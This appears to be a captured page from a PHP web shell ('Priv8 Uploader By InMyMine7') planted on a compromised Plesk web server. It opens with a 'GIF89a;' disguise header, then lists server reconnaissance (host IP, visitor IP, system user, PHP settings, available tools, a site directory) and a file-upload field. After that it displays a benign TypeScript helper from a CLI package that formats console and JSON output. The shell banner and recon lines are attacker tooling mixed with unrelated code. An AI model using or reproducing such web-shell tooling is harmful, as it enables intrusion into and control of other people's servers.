GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/cli/ |
Upload File : |
import { consola } from "consola";
interface OutputArgs {
json?: boolean;
}
/**
* Redirect consola output to stderr so it doesn't pollute JSON on stdout.
*
* Call this early in any command that uses `output()` with `--json`.
* Safe to call multiple times — only applies the redirect once.
*/
export function configureOutputMode(args: OutputArgs): void {
if (args.json || !process.stdout.isTTY) {
// Send all consola output to stderr so stdout is clean JSON
consola.options.stdout = process.stderr;
consola.options.stderr = process.stderr;
}
}
/**
* Output data as JSON or pretty-printed.
*
* If stdout is not a TTY or --json is set, outputs JSON.
* Otherwise, outputs a formatted representation.
*/
export function output(data: unknown, args: OutputArgs): void {
const useJson = args.json || !process.stdout.isTTY;
if (useJson) {
// JSON output to stdout for piping
process.stdout.write(JSON.stringify(data, null, 2) + "\n");
} else {
// Pretty output via consola
prettyPrint(data);
}
}
function prettyPrint(data: unknown, indent: number = 0): void {
if (data === null || data === undefined) {
consola.log("(empty)");
return;
}
if (Array.isArray(data)) {
if (data.length === 0) {
consola.log("(no items)");
return;
}
for (const item of data) {
prettyPrint(item, indent);
if (indent === 0) consola.log("---");
}
return;
}
if (typeof data === "object") {
const obj = Object(data) as Record<string, unknown>;
// Check if it's a list result with items
if ("items" in obj && Array.isArray(obj.items)) {
prettyPrint(obj.items, indent);
if (typeof obj.nextCursor === "string") {
consola.log(`\nNext cursor: ${obj.nextCursor}`);
}
return;
}
// Print object fields
const prefix = " ".repeat(indent);
for (const [key, value] of Object.entries(obj)) {
if (value === null || value === undefined) continue;
if (typeof value === "object" && !Array.isArray(value)) {
consola.log(`${prefix}${key}:`);
prettyPrint(value, indent + 1);
} else if (Array.isArray(value)) {
consola.log(`${prefix}${key}: [${value.length} items]`);
} else {
const str = typeof value === "string" ? value : JSON.stringify(value);
// Truncate long values
const display = str.length > 80 ? str.slice(0, 77) + "..." : str;
consola.log(`${prefix}${key}: ${display}`);
}
}
return;
}
consola.log(typeof data === "string" ? data : JSON.stringify(data));
}